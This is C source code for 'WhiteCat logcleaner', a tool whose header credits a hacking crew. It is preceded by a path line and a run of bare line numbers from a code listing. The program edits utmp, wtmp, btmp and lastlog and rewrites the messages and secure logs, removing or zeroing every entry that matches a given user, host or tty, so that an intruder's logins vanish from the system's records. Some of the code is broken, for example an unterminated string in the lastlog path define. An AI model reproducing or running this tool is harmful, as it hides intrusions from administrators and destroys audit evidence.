./c0de/c/whitecat.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
251.
252.
253.
254.
255.
256.
257.
258.
259.
260.
261.
262.
263.
264.
265.
266.
267.
268.
269.
270.
271.
272.
273.
274.
275.
276.
277.
278.
279.
280.
281.
282.
283.
284.
285.
286.
287.
288.
289.
290.
291.
292.
293.
294.
295.
296.
297.
298.
299.
300.
301.
302.
303.
304.
305.
306.
307.
308.
309.
310.
311.
312.
313.
314.
315.
316.
317.
318.
319.
320.
321.
322.
323.
324.
325.
326.
327.
328.
329.
330.
331.
332.
333.
334.
335.
336.
337.
338.
339.
340.
341.
342.
343.
344.
345.
346.
347.
348.
349.
350.
351.
352.
353.
354.
355.
356.
357.
358.
359.
360.
361.
362.
363.
364.
365.
366.
367.
368.
369.
370.
371.
372.
373.
374.
375.
376.
377.
378.
379.
380.
381.
382.
383.
384.
385.
386.
387.
388.
389.
390.
391.
392.
393.
394.
395.
396.
397.
398.
399.
400.
401.
402.
403.
404.
405.
406.
407.
408.
409.
410.
411.
412.
413.
414.
415.
416.
417.
418.
419.
420.
421.
422.
423.
424.
425.
426.
427.
428.
429.
430.
431.
432.
433.
434.
435.
436.
437.
438.
439.
440.
441.
442.
443.
444.
445.
446.
447.
448.
449.
450.
451.
452.
453.
454.
455.
456.
457.
458.
459.
460.
461.
462.
463.
464.
465.
466.
467.
468.
469.
470.
471.
472.
473.
474.
475.
476.
477.
478.
479.
480.
481.
482.
483.
484.
485.
486.
487.
488.
489.
490.
491.
492.
493.
494.
495.
496.
497.
498.
499.
500.
501.
502.
503.
504.
505.
506.
507.
508.
509.
510.
511.
512.
513.
514.
515.
516.
517.
518.
519.
520.
521.
522.
523.
524.
525.
526.
527.
528.
529.
530.
531.
532.
/*
 *  This is WhiteCat logcleaner version 1.0 by ShadOS from Hell Knights Crew.
 *  It supports perl compatible regular expressions and cleans any binary and 
 *  text log files (just correct source a little). WhiteCat is designed for 
 *  any UNIX-like system, but tested only on GNU/Linux and FreeBSD. 
 *  Distributed under GPLv2. Use it only for educational purpose only. 
 *  Thanks to Ivan Sklyaroff for his articles.
 *  Don't forget to visit our site and my homepage for new releases:
 *  http://hellknights.void.ru
 *  http://shados.0x48k.cc
 *  Also, you can mail me any bugs or suggestions:
 *  mailto: shados /at/ real /dot/ xakep /dot/ ru 
 *  mailto: shados /at/ 0x48k /dot/ cc
 *
 *
 *
 *  Copyright (C) 89, 90, 91, 1995-2007 Free Software Foundation.
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2, or (at your option)
 *  any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software Foundation,
 *  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.  
 */ 
 
#include <stdio.h>
#include <sys/param.h>
#include <stdint.h>
#include <errno.h>
#include <stdlib.h>
#include <utmp.h>
#include <fcntl.h>
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <string.h>
#include <regex.h>
#include <limits.h> /* for PATH_MAX */
#include <getopt.h>
#include <locale.h>
 
 
#ifndef _PATH_UTMP
    #define _PATH_UTMP "/var/run/utmp"
#endif    
#ifndef _PATH_WTMP
    #define _PATH_WTMP "/var/log/wtmp"
#endif
#ifndef _PATH_LASTLOG
    #define _PATH_LASTLOG   "/var/log/lastlog
#endif
 
 
//modify parametrs as in your box ;)
#define _PATH_BTMP "/var/log/btmp"
#define _PATH_MESSAGES "/var/log/messages"
#define _PATH_SECURE "/var/log/secure"
 
#define MAXBUFF 8*1024
 
#define PROGRAM_NAME "WhiteCat logcleaner"
#define PROGRAM_VERSION 1.0
#define PROGRAM_RELEASE 1
#define AUTHORS "Shad0S [Hell Knights Crew]"
 
char *myname;                     /* for error messages */
int do_ignorecase = 0;            /* -i option: ignore case */
int do_extended   = 0;            /* -E option: use extended RE's */
int do_username	  = 0;
int do_hostname	  = 0;
int do_tty	  = 0;
int errors        = 0;            /* number of errors */
 
/* patterns to match */
regex_t username;
regex_t hostname;
regex_t tty;
 
 
int copy_tmp(char *dstfilename, char *tmpfilename);
int clear_textlog(char *filename);
int clear_uwbtmp(char *filename);
int clear_lastlog (char *filename);
regex_t compile_pattern(const char *pat);
int process_regexp(regex_t *pattern, char *buf, size_t size);
char *xgethostname(void);
void usage(void);
void version(void);
 
int main(int argc, char *argv[])
{
  myname = argv[0];
 
  char c;
 
  /* i18n */
  //setlocale (LC_ALL, "");
  //struct lconv l = *localeconv();
  //l.decimal_point = ".";
 
  struct option longopts[]={
  { "user",   	required_argument, &do_username,   'u'},
  { "tty",    	required_argument, &do_tty, 	   't'},
  { "hostname", required_argument, &do_hostname,   'a'},
  { "extended", no_argument,       &do_extended,   'e'},
  { "ignore",   no_argument,       &do_ignorecase, 'i'},
  { "help",	no_argument,	   NULL, 	   'h'},
  { "version",  no_argument,	   NULL,	   'V'},
  { 0, 0, 0, 0 }
  };
 
  if ((argc < 2) || (argc > 18)) {
    version();
    usage();
  }
 
  while ((c=getopt_long(argc,argv,"u:t:a:reihVW;",longopts,NULL)) != -1) {
    switch (c) {
    case 'u':
      username = compile_pattern(optarg);
      if (errors) usage(); //compile failed
      do_username=1;
      break;
    case 't':
      tty = compile_pattern(optarg);
      if (errors) usage(); //compile failed
      do_tty=1;
      break;
    case 'a':
      hostname = compile_pattern(optarg);
      if (errors) usage(); //compile failed
      do_hostname=1;	
      break;
    case 'e':
      do_extended = 1;
      break;  
    case 'i':
      do_ignorecase = 1;
      break;
    case 'h':
      version();
      usage();  
    case 'V':
      version();
      exit(0);
      break;
    case 0:
      break;
    case ':':
      fprintf(stderr, "%s: option '-%c' requires an argument\n", myname, optopt);
      usage();		      
    case '?':
    default:
      fprintf(stderr, "%s: option '-%c' is invalid\n", myname, optopt);
      usage(); 
    }  
  }
 
  //sanity check
  if (!do_username && !do_tty && !do_hostname){
    fprintf(stderr, "%s: did not found any parametr to clean (username, hostname, tty)!\n", myname);
    usage();
  }    
 
  version();
 
  if (!clear_uwbtmp(_PATH_UTMP))
    printf("\033[1mutmp cleaning \t\t\t\t\t\t\t \033[32;1m[   OK   ] \033[0m\n");
  else
    printf("\033[1mutmp cleaning \t\t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
  if (!clear_uwbtmp(_PATH_WTMP))
    printf("\033[1mwtmp cleaning \t\t\t\t\t\t\t \033[32;1m[   OK   ] \033[0m\n");
  else
    printf("\033[1mwtmp cleaning \t\t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");    
  if (!clear_uwbtmp(_PATH_BTMP))
    printf("\033[1mbtmp cleaning \t\t\t\t\t\t\t \033[32;1m[   OK   ] \033[0m\n");
  else
    printf("\033[1mbtmp cleaning \t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
  if (!clear_lastlog(_PATH_LASTLOG))
    printf("\033[1mlastlog cleaning \t\t\t\t\t\t \033[32;1m[   OK   ] \033[0m\n");
  else
    printf("\033[1mlastlog cleaning \t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
  if (!clear_textlog(_PATH_MESSAGES))
    printf("\033[1mmessages cleaning \t\t\t\t\t\t \033[32;1m[   OK   ] \033[0m\n");
  else
    printf("\033[1mmessages cleaning \t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
  if (!clear_textlog(_PATH_SECURE))
    printf("\033[1msecure cleaning \t\t\t\t\t\t \033[32;1m[   OK   ] \033[0m\n");
  else
    printf("\033[1msecure cleaning \t\t\t\t\t\t \033[31;1m[ Failed ] \033[0m\n");
 
  return 0;
}
 
/* replace logfile with tempfile */
int copy_tmp(char *dstfilename, char *tmpfilename)
{
  char buffer[BUFSIZ];
 
  sprintf(buffer, "cat %s > %s", tmpfilename, dstfilename);
  printf("%s\n", buffer);
 
  if (system(buffer) < 0) {
    printf("Error copying from tempfile!");
    return 0x48;
  }
 
  unlink(tmpfilename);
}
 
 
/* cleanup plaintext logfiles */
int clear_textlog(char *filename)
{
  char buftmp[MAXBUFF];
  FILE *fd;
  int fdtmp;
  int found = 0;
  int errors = 0;
  ssize_t rcnt, wcnt;
  static char template[] = "/tmp/tmpfileXXXXXX";
  char ftmpname[PATH_MAX];
  char *localhostname;
 
  if (do_username)
  if ((localhostname = xgethostname()) == NULL) {
    fprintf(stderr, "%s: could not determine hostname: %s\n", myname, strerror(errno));
    return 0x48; 
  }
  else {
   if (process_regexp(&username, localhostname, strlen(localhostname)))
     fprintf(stdout, "%s: warning: local hostname (%s) is like the username string!\n", myname, localhostname, username);
  }
 
  if ((fd = fopen(filename, "r")) == 0) {
    fprintf(stderr, "%s: %s: could not open: %s\n", myname, filename, strerror(errno));
    return 0x48;
  }
 
  strcpy(ftmpname, template);
  if ((fdtmp = mkstemp(ftmpname)) == -1) {
    fprintf(stderr, "%s: %s: could not create temp file: %s\n", myname, filename, strerror(errno));
    return 0x48;
  }
 
  //while ((rcnt = getline(&buftmp, &rcnt, fd)) != -1)
  while (fgets(buftmp, MAXBUFF, fd) != NULL)
  {
    //length of null-terminated string 
    rcnt = strlen(buftmp);
    if (do_hostname) found = process_regexp(&hostname, buftmp, rcnt);      
    if (do_username) found = process_regexp(&username, buftmp, rcnt); 
    if (do_tty) found = process_regexp(&tty, buftmp, rcnt); 		
    if (!found) { 
	wcnt = write(fdtmp, buftmp, rcnt);
	if (wcnt != rcnt) {
	  fprintf(stderr, "%s: %s: write error: %s\n", myname, ftmpname, strerror(errno));
	  errors++;
	  break;
	}
    }
    found = 0;
  }
 
  if ((rcnt < 0) && (errno != EXIT_SUCCESS)) {
    fprintf(stderr, "%s: %s: read error: %s\n", myname, filename, strerror(errno));
    errors++;
  }
 
  if (fd != 0) {
    if (fclose(fd) < 0) {
      fprintf(stderr, "%s: %s: close error: %s\n", myname, filename, strerror(errno));
      errors++;
    }
  }
  if (fdtmp != 0) {
    if (close(fdtmp) < 0) {
      fprintf(stderr, "%s: %s: close error: %s\n", myname, ftmpname, strerror(errno));
      errors++;
    }
  }
 
  copy_tmp(filename, ftmpname);
 
  return (errors != 0);
}
 
 
/* cleanup binary log entries */
int clear_uwbtmp(char *filename)
{
  struct utmp entry;
  int fd;
  int fdtmp;
  int found = 0;
  int errors = 0;
  ssize_t rcnt, wcnt;
  static char template[] = "/tmp/tmpfileXXXXXX";
  char ftmpname[PATH_MAX];
 
  if ((fd = open(filename, O_RDONLY)) == -1) {
    fprintf(stderr, "%s: %s: could not open: %s\n", myname, filename, strerror(errno));
    return 0x48;
  }
 
  strcpy(ftmpname, template);
  if ((fdtmp = mkstemp(ftmpname)) == -1) {
    fprintf(stderr, "%s: %s: could not create temp file: %s\n", myname, filename, strerror(errno));
    return 0x48;
  }
 
  while ((rcnt = read(fd, &entry, sizeof(struct utmp))) > 0)
  {
    if (do_hostname) found = process_regexp(&hostname, entry.ut_host, sizeof(entry.ut_host));
    if (do_username) found = process_regexp(&username, entry.ut_name, sizeof(entry.ut_name));
    if (do_tty) found = process_regexp(&tty, entry.ut_line, sizeof(entry.ut_line));
    if (!found) { 
	wcnt = write(fdtmp, &entry, sizeof(struct utmp));
	if (wcnt != rcnt) {
	  fprintf(stderr, "%s: %s: write error: %s\n", myname, ftmpname, strerror(errno));
	  errors++;
	  break;
	}
    }
    found = 0;
  }
  if (rcnt < 0) {
    fprintf(stderr, "%s: %s: read error: %s\n", myname, filename, strerror(errno));
    errors++;
  }
 
  if (fd != 0) {
    if (close(fd) < 0) {
      fprintf(stderr, "%s: %s: close error: %s\n", myname, filename, strerror(errno));
      errors++;
    }
  }
  if (fdtmp != 0) {
    if (close(fdtmp) < 0) {
      fprintf(stderr, "%s: %s: close error: %s\n", myname, ftmpname, strerror(errno));
      errors++;
    }
  }
 
  copy_tmp(filename, ftmpname);
 
  return (errors != 0);
}
 
 
/* cleanup lastlog binary file with holes */
int clear_lastlog (char *filename)
{
  struct passwd *pwd;
  struct lastlog entry;
  int uid = 0;
  int found = 0;
  int errors = 0;
  int fd;
  ssize_t rcnt, wcnt;
 
  if ((fd = open(filename, O_RDWR)) < 0) {
    fprintf(stderr, "%s: %s: could not open: %s\n", myname, filename, strerror(errno));
    return 0x48;
  }
 
  /* set position to the beginning of the file */
  if (lseek(fd, (off_t)0, SEEK_SET) == (off_t)-1) {
    fprintf(stderr, "%s: %s: could not set position in file: %s\n", myname, filename, strerror(errno));
    return 0x48;
  }
 
  while ((rcnt = read(fd, &entry, sizeof(struct lastlog))) > 0)
  {
	if (do_username) {
		if ((pwd = getpwuid(uid)) != NULL)	
			found = process_regexp(&username, pwd->pw_name, sizeof(pwd->pw_name)); 
		uid++;
	}
        if (do_hostname) found = process_regexp(&hostname, entry.ll_host, sizeof(entry.ll_host));
        if (do_tty) found = process_regexp(&tty, entry.ll_line, sizeof(entry.ll_line)); 
	if (found)
	{
		//XXX is this correct?
		bzero(&entry, sizeof(struct lastlog));
		found = 0;
	}
	if (lseek(fd, -(off_t)rcnt, SEEK_CUR) == (off_t)-1) {
		fprintf(stderr, "%s: %s: could not set position in file: %s\n", myname, filename, strerror(errno));
		return 0x48;
	}
	wcnt = write(fd, &entry, sizeof(struct lastlog));
        if (wcnt != rcnt) {
	  fprintf(stderr, "%s: %s: write error: %s\n", myname, filename, strerror(errno));
	  errors++;
	  break;
	}
  }
 
  if (rcnt < 0) {
    fprintf(stderr, "%s: %s: read error: %s\n", myname, filename, strerror(errno));
    errors++;
  }
 
  if (fd != 0) {
    if (close(fd) < 0) {
      fprintf(stderr, "%s: %s: close error: %s\n", myname, filename, strerror(errno));
      errors++;
    }
  }
 
  return (errors != 0);
}
 
 
/* compile the regex pattern */
regex_t compile_pattern(const char *pat)
{
        int flags = REG_NOSUB;  /* don't need where-matched info */
        int ret;
	regex_t pattern;
#define MSGBUFSIZE      512     /* arbitrary */
        char error[MSGBUFSIZE];
 
        if (do_ignorecase)
                flags |= REG_ICASE;
        if (do_extended)
                flags |= REG_EXTENDED;
 
        ret = regcomp(&pattern, pat, flags);
        if (ret != 0) {
                (void) regerror(ret, &pattern, error, sizeof error);
                fprintf(stderr, "%s: pattern `%s': %s\n", myname, pat, error);
                errors++;
        }
	else
		return pattern;
}
 
 
/* process regular expression */
int process_regexp(regex_t *pattern, char *buf, size_t size)
{
	char error[MSGBUFSIZE];
	int ret;
 
	if ((ret = regexec(pattern, buf, 0, NULL, 0)) != 0) {
		if (ret != REG_NOMATCH) {
			(void) regerror(ret, pattern, error, sizeof error);
			fprintf(stderr, "%s: %s\n", myname, error);
			errors++;
			return 0;
		}
		return 0;
	} 
	else
		return 1;	
}
 
#ifndef INITIAL_HOSTNAME_LENGTH
# define INITIAL_HOSTNAME_LENGTH 34
#endif
 
/* Return the current hostname in malloc'd storage.
   If malloc fails, exit.
   Upon any other failure, return NULL and set errno.  */
char *xgethostname(void)
{
  char *hostname = NULL;
  size_t size = INITIAL_HOSTNAME_LENGTH;
 
  while(1)
    {
      /* Use SIZE_1 here rather than SIZE to work around the bug in
         SunOS 5.5's gethostname whereby it NUL-terminates HOSTNAME
         even when the name is as long as the supplied buffer.  */
      size_t size_1;
 
      hostname = realloc(hostname, size);
      size_1 = size - 1;
      hostname[size_1 - 1] = '\0';
      errno = 0;
 
      if (gethostname(hostname, size_1) == 0)
        {
          if (!hostname[size_1 - 1])
            break;
        }
      else if (errno != 0 && errno != ENAMETOOLONG && errno != EINVAL
               /* OSX/Darwin does this when the buffer is not large enough */
               && errno != ENOMEM)
        {
          int saved_errno = errno;
          free(hostname);
          errno = saved_errno;
          return NULL;
        }
    }
 
  return hostname;
}
 
/* print usage message and exit with 0x48k status */
void usage(void)
{
    printf("Usage:\n");
    printf("\t %s [-u user] [-t tty] [-a hostname|ipaddr] [OPTIONS]\n", myname);
    printf("OPTIONS:\n");
    printf("\t -i --ignore \t ignore case in regexps\n");
    printf("\t -e --extended \t use extended regexps\n");
    printf("\t -V --version \t show version info and exit\n");
    printf("\t -h --help \t show this help screen and exit\n");
    printf("\n");
    exit(0x48);
}
 
/* print version information */
void version(void)
{
    fprintf(stdout, "\t ==================================================================\n"); 
    fprintf(stdout, "\t = \033[1m%s %1.1f.%d by %s, 2007.\033[0m =\n", 
		    PROGRAM_NAME, PROGRAM_VERSION, PROGRAM_RELEASE, AUTHORS);
    fprintf(stdout, "\t ==================================================================\n"); 
}

Back